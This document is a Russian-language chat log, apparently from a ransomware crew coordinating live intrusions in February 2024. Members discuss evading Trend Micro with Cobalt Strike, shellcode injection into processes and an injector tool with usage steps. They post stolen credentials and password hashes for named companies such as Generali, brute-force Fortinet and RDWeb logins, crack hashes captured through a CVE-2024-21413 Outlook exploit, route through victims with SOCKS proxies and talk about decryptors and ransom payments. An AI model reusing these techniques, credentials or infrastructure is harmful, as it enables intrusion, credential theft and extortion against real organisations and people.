wew.exe

Происылай

CIT_AUTH_VALID.txt

CIT_AUTH_VALID1.txt

prepared_rdweb_valid_data_bruted.txt

RDWeb дополненные

AUTH_VALID_20240222.txt

8_64_443

> <@usernamess:matrix.bestflowers247.online> Нужен крипт обойти Trendmicro. У кого есть?

ну как бы есть НО время не резиновое)

сек

ты x86 ставишь?

или какой?

ты ее как prxoy поставил?

я вижу что все азадчи выполнены

> <@usernamegg:matrix.bestflowers247.online> х86 готов ?

походу тупо не дает остучать к кобе

все запускается

> <@usernamegg:matrix.bestflowers247.online> х86 готов ?

все сгружается

* - -

но видимо коннект к кобе закырвает

* еще нет, неделю +- надо

> <@usernamess:matrix.bestflowers247.online> есть?

помнишь как мы пытались тачку 1 сгрузить

> <@usernamess:matrix.bestflowers247.online> есть?

тоже с трендом

еще давно

и там нам типы скрин скинули

что детекты идут

и там были детекты коннекта к кобе

под DNS маяку

и видимо тренд и HTTP/HTTPS палит уже

есть мета

или что то другое

поставил SET VICTIM

> <@usernamegg:matrix.bestflowers247.online> как убрать ?

там просто система конфиг генерит, чтобы ее в ноду превратить

чтобы прям ноду из нее сделать надо еще пару кнопок нажать

> <@usernamegg:matrix.bestflowers247.online> убери пометку прокси

уже как victim идет

```

давай

окей

через create remote thread пусть делают

+

запросил новые процессы по тачке

чтобы актуальные были

х64 да?

пусть обнвоят страницу и заново инжект x86 делают

обновлися список процессов на тачке

++

да

сек, щас

в AdobeCollabSync.exe

да

в него думаю спокойно можно

он имеет ввиду Trend Micro XDR

инфектный зарешает

делаю

DE_8080x86.bin

https://4c5kb5ly.cofoundermanagerplatform.online/7e6375fd-0860-4a88-8d60-7beac46dd708/bot/34040

посмотри этого

походу большая какая о

у него доступ к citrix

https://citrixstore.generali.it/Citrix/GeneraliWeb/

https://www.zoominfo.com/c/generali-spa/11098200

Website

```

может получиться прыгнуть на основные севрера через этого

я вот понять не могу че не так с шелл кодом

нахуя тут path до калка

и на скрине он там что то читает с их логотипом

и пришел маяк от тачки, которая в AdobeCollabSync.exe пошла

* и пришел маяк от тачки, которая в AdobeCollabSync.exe пошла?

> <@usernamenn:matrix.bestflowers247.online> нахуя тут path до калка

ну типа это просто набор байт, но легче было записать текстом

хм

у меня че то класс boost

в вижаке не воспринимает

privet

ti u kogo beryosh sertifikati ?

и cout какого то хуя тоже

> <@usernamess:matrix.bestflowers247.online> 8_64_443

8_64_443.7z

tot stari palitsya

std::cout

boost не знаю, неймспейс укажи и пути до хэдеров

гарантии не даю, что сработает)

да

std стоит

ну тогда хэдер не подключен

stdio

вроде

щас

вижу ага не подключен

а какого хуя в проекте

все не цепляется

и не должно, это плюсы, а не шарп

тут всё сам

дерьмо ебаное

пиздец внатуре тухедеры

по фортинет тоже нужно собрать

> <@usernamegg:matrix.bestflowers247.online> DE_8080x86.bin

DE_8080x86.zip

мож подписать и поможет тоже

forticlient из fofa пусть выдаст

отойду

```

```

THECASHSTORE.COM/svc-sitecoredev:$DCC2$10240#svc-sitecoredev#60ad4432f217201c12b3a6052c47ddaf

а че максимальная длина строки 64кб что ли

какой даун это приудмал

нет, меньше, смотря че ты имеешь в виду

с шеллкок

си шеллкок

массив байт не ограничен

только компилятором

строка максимум 14 символов вроде

бля

теперь надо перехуярить по строчно

покажи сначала

а че показывать

я шеллкок вставить могу

а компилятор не хавает

что пишет

Severity Code Description Project File Line Suppression State Details Error C2026 string too big

вставляй байтами

с переносом строки?

char*test = { 0x00, 0x01} etc

вот в таком виде

> <@usernamenn:matrix.bestflowers247.online> ```

Ок понял

какой то гемор

> <@usernameyy:matrix.bestflowers247.online> char*test = { 0x00, 0x01} etc

офнусь пока. буду в тг

> <@usernamess:matrix.bestflowers247.online> ```

> <@burito:matrix.bestflowers247.online> sent a file.

TCSDOMAIN.LOCAL/dhunter:$DCC2$10240#dhunter#1109bf88516c3bf06bcd609182025a4a

ok sps

да

так проще намного

все сделал

дерьмо как скомпилило сразу удалило АВ))

зря время проебал только

перезапускаю панель

получилось сгрузить того бота в мету?

еще раз надо звать

там мета наебнулась

((

фиксил ее не знаю щас будет работать или нет

все

мои полномочия на этом все)

какое то наебалово))

а че четкого то ))

обычное дело ))

ага

ну щас и havoc бофы поддерживает

и execute-assembly

execute-assembly это уже давно не ноухау

как и BOF

есть еще COFF

хм, видимо надо пробовать в citrix влетать

куки есть?

от цитрикса

этот чел в цитрикс этот заходил что ли?

этот линк не валидный

цитрикса

понял

ага, принял

а ту с трендом?

сек

скрин скину

да он не валидный

citrixstore.generali.it

https://citrixstore.generali.it

так и так тоже не редиректит

серты не спрашивает

ага, понял

11_443_x64

11_443_x86

11_443_x64

11_443_x86

скрин

он на этом домене сидит

доки читает походу

image.png

ага

другой чутка линк

домен 1, но линк другой

Microsoft Edge_Login Data [Default] https://citrixstore.generali.it/Citrix/GeneraliWeb/ corpgen\pibonacco-tf3-gen Maggio2022

vot

стилак тащит скрины

скоро и в боте они будут

X 2024-02-22 в 19.54.35.jpg

он в цитриксе сидит

дак вон же креды

только какого хуя у того чела грузят паги)

+++

этот хуйман через цитрикс сидит

может он в вайт листе на вход по айпи

https://4c5kb5ly.cofoundermanagerplatform.online/7e6375fd-0860-4a88-8d60-7beac46dd708/bot/stealer/34040

вот ссылка на всю инфу со стилака с этого бота

и там еще можешь скачать сам архив если что

на Download нажимаешь и весь архив к тебе упадет

что скачал?

ааа

так давай туда проксю закинем

exe есть прокси?

можно туда закинуть и зайти через его IP

++

просто прогрузи ему exe прокси и все

у меня тоже есть билды, но надо будет севрак под них поставить

и в бота сразу интегрирую

bursocr.exe

у нас просто раньше с HVNC работало

domcry.exe

eucr.exe

ну типо когда прогружали HVNC, срзау прокся была

большой

ооо

вот поменьше

давай

щас меньше прогружу

+++

щас домкрай прогружу

сек

давай

дак сокс одеть и попробовать зайти

на линк

```

вот на эти

> <@usernamess:matrix.bestflowers247.online> sent a file.

4.7z

Строка

iFzEpGBsXYhCzetZUxLDkGoOOcABgiTlgbAdyOwfhRCamjPCdJ

а зачем мне туда

мне носок дашь и все

у меня же есть RDP

да

бля

рабочий день закончился у них походу

он даже задачу не взял

завтра прийдет утром

пиздец

походу да

макаронная фабрика что ли

++++

поставил метку на него

`[0] [2024-02-22 17:15:25] CHECK ( SOCKS TASK )

с утра пораньше его проверю

думаю у них с 10 рабочий день начианеться

ну или после сиесты выйдет в сеть

италия похуисты еще те

NtRemoteLoad.exe

Заливайте на таргете в папку C:\Users\Public или куда нибудь я хуй знает.

Рядом кладете с файлом shellcode, который bin

именно Stageless

Короче большой шелл код + этот exe должны быть в одной папке!

Заходите в cmd

NtRemoteLoad.exe shellcode.bin PID

в какой нибудь svchost ебашьте, только от админа не забудьте cmd открывать

можете сразу в winlogon хуярить по сути, но опасно)

может помочь инжект в каких то моментах, когда криптованный не приходит

этот инжектор пока что FUD 3/16

скоро его почистят, пробуйте

хуйню не посоветую, а хуету могу

> <@muaddib6:matrix.org> Посмотри инфецированием. rundll32 file.dll, CleanupW

зайдите к себе на RDP и попробуйте инжект кинуть что бы потом не задавать вопросов себе и всем вокруг

не пробило?

нет

+

> <@usernamess:matrix.bestflowers247.online> нет

и да, он хавает только x64

самый важный момент забыл сказать

> <@usernamess:matrix.bestflowers247.online> --

+

нет. не приходит. проц висит. инет есть, возможно блок счтоит

* нет. не приходит. проц висит. инет есть, возможно блок стоит

Понял

> <@usernamegg:matrix.bestflowers247.online> кошель оставь свой

11_443_4.exe

https://scanner.to/result_EDR/UAYFimfKAiyY

> <@usernamett:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

image.png

> <@usernamess:matrix.bestflowers247.online> sent a file.

5.7z

`An experimental Beacon Object File (BOF) that provides an alternative to the spawnas and inject commands. This exposes a new command, spawn_with [pid] [listener], that performs the following:`

https://github.com/rasta-mouse/SpawnWith

CNA

прикольно

Спасибо, но уже ненадо)

Ясно

```

X 2024-02-22 в 21.09.22.jpg

Это для CC?

жестко

Готовьтесь щас будет навал!

Про CNA выше не забывайте где то может пригодится, это будет получше чем spawnto

video_2024-02-22_21-12-55.mp4

> <@usernamett:matrix.bestflowers247.online> sent a file.

6.7z

> <@usernamegg:matrix.bestflowers247.online> sent a file.

7.7z

пробелы убери

я расшифрую сам?

я уже скачал

+

никакую, ему же для бекапов

я ее просто установил, сейчас привяжу эту

там дело 10 минут

> <@cob_crypt_ward:matrix.bestflowers247.online> привет, сегодня начал X86 делать, уже есть результ

имел ввиду что начал писать, а не выдавать билды

> <@usernamett:matrix.bestflowers247.online> 11_443_x64

11_443_x64.rar

> <@usernamett:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> anthemproperties.com

rundll32 11_443_x64.dll, CleanupW

8.7z

> <@usernamegg:matrix.bestflowers247.online> sent a file.

9.7z

> <@usernamett:matrix.bestflowers247.online> 11_443_x86

11_443_x86.rar

> <@usernamegg:matrix.bestflowers247.online> willislease.com

Link Share ( C Edition )

Инстуркция:

получить ее можно откроя просто программу в CMD

./LS.exe

к примеру

и покажет инструкцию

исходники отдам как протестирую

только просьба, пусть пентестеры ее хорошо протестируют

не сразу на таргеты ее дают, а попробуют понять как она работает

Хорошо

да

по МСК?

+++

давай лучше в 11 по МСК

боюсь в 8 по своему не проснусь)

> <@usernamett:matrix.bestflowers247.online> 11_443_x86

11_443_x64_dlls.zip

завтра как можно раньше буду, все сделаем

пойду уже отдыхать

Завтра тут

На связи

Друг, спасибо тебе огромное что прикрыл по файлам - у меня жопа случилась

ты меня просто спасс

тут?

да там закинуть вроде должны

жду

```

да, ты совершенно прав

ответил

тут?

дай кош

и декрипт они видимо ждут срочно)

Привет всем!

AUTH_VALID_20240222.txt

AUTH_FROM_APOLLO_VALID_20240222.txt

rdweb и forti

`64.176.219.106:38299 SLI`

FORTI_VALID_REVENUE.txt

там сразу с ревенью сделал, но все же перепроверяйте

`64.176.219.106:38267 SLI PDC`

`64.176.219.106:44121 SLI FIZ`

Привет, я на местее

* Привет, я на месте

Всех с профессиональным праздником ;)

🫡

хм, че то баги какие то появились

С праздником)

с праздником

> <@usernameyy:matrix.bestflowers247.online> Всех с профессиональным праздником ;)

> <@usernamezz:matrix.bestflowers247.online> 🫡

> <@usernameyy:matrix.bestflowers247.online> Всех с профессиональным праздником ;)

`185.219.221.136:37825 OMCSORP`

* готово

```

270 письмо ответь

271 письмо посмейся

Декриптор новый залил на вдсину, без логов сложно разобраться, а новый с логами сразу отработал 🤔

64.176.219.106:40681

51.210.138.91:27816

51.210.138.91:58948

51.210.138.91:54505

51.210.138.91:52463

`64.176.219.106:35877 FIZ`

у нас сегодня полный рабочий день?

С праздником!

Я с диванных войск, защищал лодрдерон, ачивка Длани А'Дала

+

```

Спасибо. Вас тоже с праздником!

Вылетело, что сегодня 23

для форти можно взять сервер для брута отдельный

с мыла и пасса что-то есть по форти, но рдвеб с мыла и пасса намного больше выходило

оперативки 128Гб

ну вот который брали до этого

такойже можно

выплатили денег

`kofax.com`

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

`f8fd846001e065c59dfb4aa8affa9ca0`

js думаю не стоит слать

++

не сбрасывали

`smithandcaugheys.co.nz`

но с бруто все равно не сильно много

ладно, посмотрим что выйдет

можете два два сервера брать

для ситрикса еще

`8f69dfb6b9ceab302c8cc85df28e4667`

`a74c6c0b707fe81d43b970cfd7dd6a16`

вы usdt вчера отправляли? а то не приходило

спасибо! И тебя с праздником! момент закину

расшифровывает уже

> <@usernameyy:matrix.bestflowers247.online> Декриптор новый залил на вдсину, без логов сложно разобраться, а новый с логами сразу отработал 🤔

готово, проверяй

14.752

+

`www.office-environments.com`

хм

офигеть

это линки самбы

они же вроде как уже не работают

но эксплоит классный

но помните, на сетке не так открывается линк, как на видео

https://github.com/duy-31/CVE-2024-21413

вроде тут cve это

ща попробуем

+

> <@usernamegg:matrix.bestflowers247.online> собирать хосты свежие?

видел

++

ситриксы

> <@usernamegg:matrix.bestflowers247.online> все верно, спасибо

> <@usernamegg:matrix.bestflowers247.online> кортезу что то перепадет ? )

эта у нас сеть вообще 2 месяца в закрепах валялась с цитриксов еще

так декрипт они ждали очень

* там декрипт они ждали очень

хм

работает

для атлука

но, еще на сетках будем проверять

но я еще не полностью проверил

ща посмотрю получу ли пароль

yy: билд бинарника под linux нужен на 443 порт на 185.219.221.136

Socks5

я уже попросил его)

похуй

я же не знал

а кто ZZ сюда пригласил?)))

в ранний доступ?)

очевидно что yy

дак ZZ ранодоступович же

пон

норм

он тоже помогает периодически

он будет тестировать весь софт обкатывать и давать ревизии

* он будет тестировать весь софт обкатывать и давать рецензии

писать сюда как делать надо и как не надо, предлагать какие лучше всего протоколы использовать в том или ином софте

* писать сюда как делать надо и как не надо, предлагать какие лучше всего протоколы использовать в том или ином софте, так сказать давать рекомендации

🍿👀

это был сарказм, щас есть кому писать новые софты, здесь мы будем улучшать то что уже есть

* это был сарказм, щас есть кому писать новые софты, здесь мы будем улучшать то что уже написано

без флуда пж, у меня уведомленяи на этот чат

я получил хеш, при клике на линк

hashcat -a 0 -m 5600 hash.txt rockyou.txt -o cracked.txt -O

но вот у меня нет файла rockyou.txt

видимо там пассы

так подбираются

ща его скачаю

Тестили софт?Тестили скр

* Тестили софт?

https://4c5kb5ly.cofoundermanagerplatform.online/7e6375fd-0860-4a88-8d60-7beac46dd708/bot/34040

вернулась италия вчерашняя

ну это список с пассами как я понял

т.е. если пасса там не будет, тогда не подберет пасс

соксы прогрузиилсь

щас сек гляну пришел ли бот в соксы

USA

> <@usernamegg:matrix.bestflowers247.online> сегодня побоялись

* Device #1: Not enough allocatable device memory for this attack.

> <@n3auxaxl:matrix.collectionofmanager.space> USA

может сюда пришел сокс

или там все 1 панель

64.176.219.106:443

185.219.221.136:443

просто как аварийный

rockyou.txt короч как я понял, мне нужен оч большой список пассов

$$: сюда скинул

но, мы пока

можем на сетку отправить линк

и проверить

скинь билд плиз для соксов

еще раз прогружу

получу ли я хеш, когда вы кликните

какой то небольшого размера

чет мне кажется не сработает

можете мне дать почту

я отправлю линк туда

passwords.txt

passwords1.txt

passwords_honeypot.txt

погодите

domus.exe

bursocr.exe

us.exe

domcry.exe

есть какой-нибудь сервер более менее мощный(4 ядра и выше)

> <@lapa:matrix.bestflowers247.online> * Device #1: Not enough allocatable device memory for this attack.

слабый

* ```

но он и для линков был

я же знаю пасс от дедике

сек

поэтому просто пасс в список пассов добавлю

и проверю работает ли

ладно, у меня есть

ща

> <@usernamegg:matrix.bestflowers247.online> sent a file.

пару минут выполниться

http://185.219.221.136:81/

давай без крипта запущу

все равно в памяти все делаю

запутсил задачу, пару минут выполниться

rockyou.txt это файл с 14,341,564 passwords

короч допустим чел кликает, но еще и пасс нужно подобрать будет

Administrator::HEADQUARTERS:29b764ded6cf9a83449082d460904aee20584bf61a743552:29b764ded6cf9a83449082d460904aee20584bf61a743552:1122334455667788

давай

eu.exe

у вас нет шк?

eucr.exe

> <@usernamess:matrix.bestflowers247.online> Administrator::HEADQUARTERS:29b764ded6cf9a83449082d460904aee20584bf61a743552:29b764ded6cf9a83449082d460904aee20584bf61a743552:1122334455667788

sry

есть криптованый

а то я вижу, что у вас нет .reloc таблицы из-за это не криптованый может отлетаьт

ага, вижу щас

ну кстати работает

я вот создал свой список пассов

неверных

не нашло

+++

потот туда добавил верный пасс от своего дедика

гружу

и да, сказало, что пасс верный

ну это как я понял доступ к рдп

+++

inf_GetAnalyzerTypes.zip

прогрузил

короч

жду от вас пару почт от сеток

на них нужно проверить

но боюсь такое уже не проканает

пофиксили думаю

+++

сек

ее щас закину

запустил

длку

ждем

хотя я даже сейчас могу пустить письмами

и посмотреть будут ли идти сессии

это не она

83.211.93.34

вот такой IP должен быть по идее

бля, выкинуло походу

да, тренд длку и меня за ней потянуло

да, бот задачу взял, но потянуло меня за длкой

а длка точно рабочяя?

> <@usernamegg:matrix.bestflowers247.online> удалило закреп ?

закреп висит

просто процессы снесло все

> <@usernamegg:matrix.bestflowers247.online> можно самим его перезагрузить ?

или у вас в кобе он есть?

если есть в кобе, то можете просто длку запустить мою там

я скажу где лежит

скоро подготовлю

и чутка прошлю

тогда никак надо ждать

> <@usernamegg:matrix.bestflowers247.online> а если снвоа его позвать в кобу ?

он либо зафейлился из-за длки, либо его спалило

но я думаю что спалило

длку спалило в рантайме и меня потянуло как следствие, потому что в памяти был такой же семпл у меня

и оно просканило и нашло меня

27 числа пройдет вебинар:

будете сегодня запускать?

ZZ: тебя записывать?

Спасибо, тебя тоже!)

я уже и забыл, что сегодня праздник

время так быстро пролетело, жесть

я когда узнал, что пятница вообще в шоке был)

DynamikPlus::.:aaaaaaaaaaaaaaaa:12c416a2c558027ad3ad9225d3ad2bfa:01010000000000000050eb114d66da010123cd6e7b0eefbf00000000010010007900660065006a0055006e006d007700030010007900660065006a0055006e006d00770002001000490079005a005000640052007700700004001000490079005a0050006400520077007000070008000050eb114d66da0106000400020000000800300030000000000000000100000000200000345c59261f2cb880c34baa33f7f88585d9153248b3fa9212af0aeac603d6b2a50a001000000000000000000000000000000000000900280063006900660073002f003200300035002e003200330034002e003200340034002e003100310032000000000000000000

есть один

сек

все грузит

еще один есть

короче прошлю 100к писем

посмотрим

нужно сейчас найти мне оч большой файл паролей

> <@usernamegg:matrix.bestflowers247.online> я скинул

шутите

там мало пассов

думаете они подойдут?)

миллионы пассов нужны

ну и поддоб пассов запущу на мощном сервере

посмотрим получится ли в боевом режиме вообще подобрать

я вроде нашел уже большой список пассов

> <@lapa:matrix.bestflowers247.online> DynamikPlus::.:aaaaaaaaaaaaaaaa:12c416a2c558027ad3ad9225d3ad2bfa:01010000000000000050eb114d66da010123cd6e7b0eefbf00000000010010007900660065006a0055006e006d007700030010007900660065006a0055006e006d00770002001000490079005a005000640052007700700004001000490079005a0050006400520077007000070008000050eb114d66da0106000400020000000800300030000000000000000100000000200000345c59261f2cb880c34baa33f7f88585d9153248b3fa9212af0aeac603d6b2a50a001000000000000000000000000000000000000900280063006900660073002f003200300035002e003200330034002e003200340034002e003100310032000000000000000000

https://cloud.ru/ru/webinars#all

4 запуска есть

да

да хз

я на европу шлю

сервер вот выдадут мощный

я попробую там запустить подбор пасса

но уже видно реверсы пошли

привет

там админ к тебе добавиться хочет, стукнет щас

привет

ладно, уже есть что-то

нужно будет пробывать расшифровать

Ok

сервер мощный жду

в токсе молчишь

выдай мне билд пжлст

и привяжи сразу в админку

TT: тебя запишу на другой вебинар

не по бекапам

у PT Security будет

либо брут стопну пока

Вебинар пройдёт 29 февраля в 14:00

https://www.ptsecurity.com/ru-ru/research/webinar/

вбирай для себя удобный ближайший

и записывайся или я запишу тебя сам

```

сек

щл

а меня можно считать за AppSec engineer

ок

я бы тоже пошел тогда

+

такс

что-то нашел

заюзал 14млн пассов

вроде нашлось

ща

сброшу

вам еще нужно будет думать, что с эти делать)

++

(195.2.135.161) (ROYCE\Teresa,DESKTOP-7171CAM) Gerrard

тут айпи, названия компа и пасс в конце

наверное как-то конектится по рдп

(195.2.135.161) (ROYCE\Teresa,DESKTOP-7171CAM) Gerrard

вот, я пока вручную это сделал

привет , домен не менял тут ?